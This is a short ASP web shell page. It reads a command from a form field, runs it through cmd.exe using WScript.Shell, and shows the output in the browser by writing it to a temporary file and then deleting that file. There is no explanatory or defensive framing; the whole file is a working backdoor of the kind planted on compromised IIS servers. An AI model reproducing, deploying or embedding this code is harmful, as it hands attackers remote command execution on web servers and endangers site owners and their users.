<%
Dim oScript
Dim oScriptNet
Dim oFileSys,oFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD<>"" Then
szTempFile="E:\" & oFileSys.GetTempName()
Call oScript.Run ("cmd.exe /c" & szCMD & ">" & szTempFile,0,True)
Set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)
End If
%>
<Form action="<%=Request.ServerVariables("URL")%>" method="post">
<input type=text name=".CMD" value="<%=szCMD%>" size=45>
<input type=submit value="Run">
</Form>
<%
If IsObject(oFile) Then
On Error Resume Next
Response.Write (oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile,True)
End if
Function UpdateStr(str) '转化字符串
str = replace(str,chr(13),"<br>")
UpdateStr = str
End Function
%>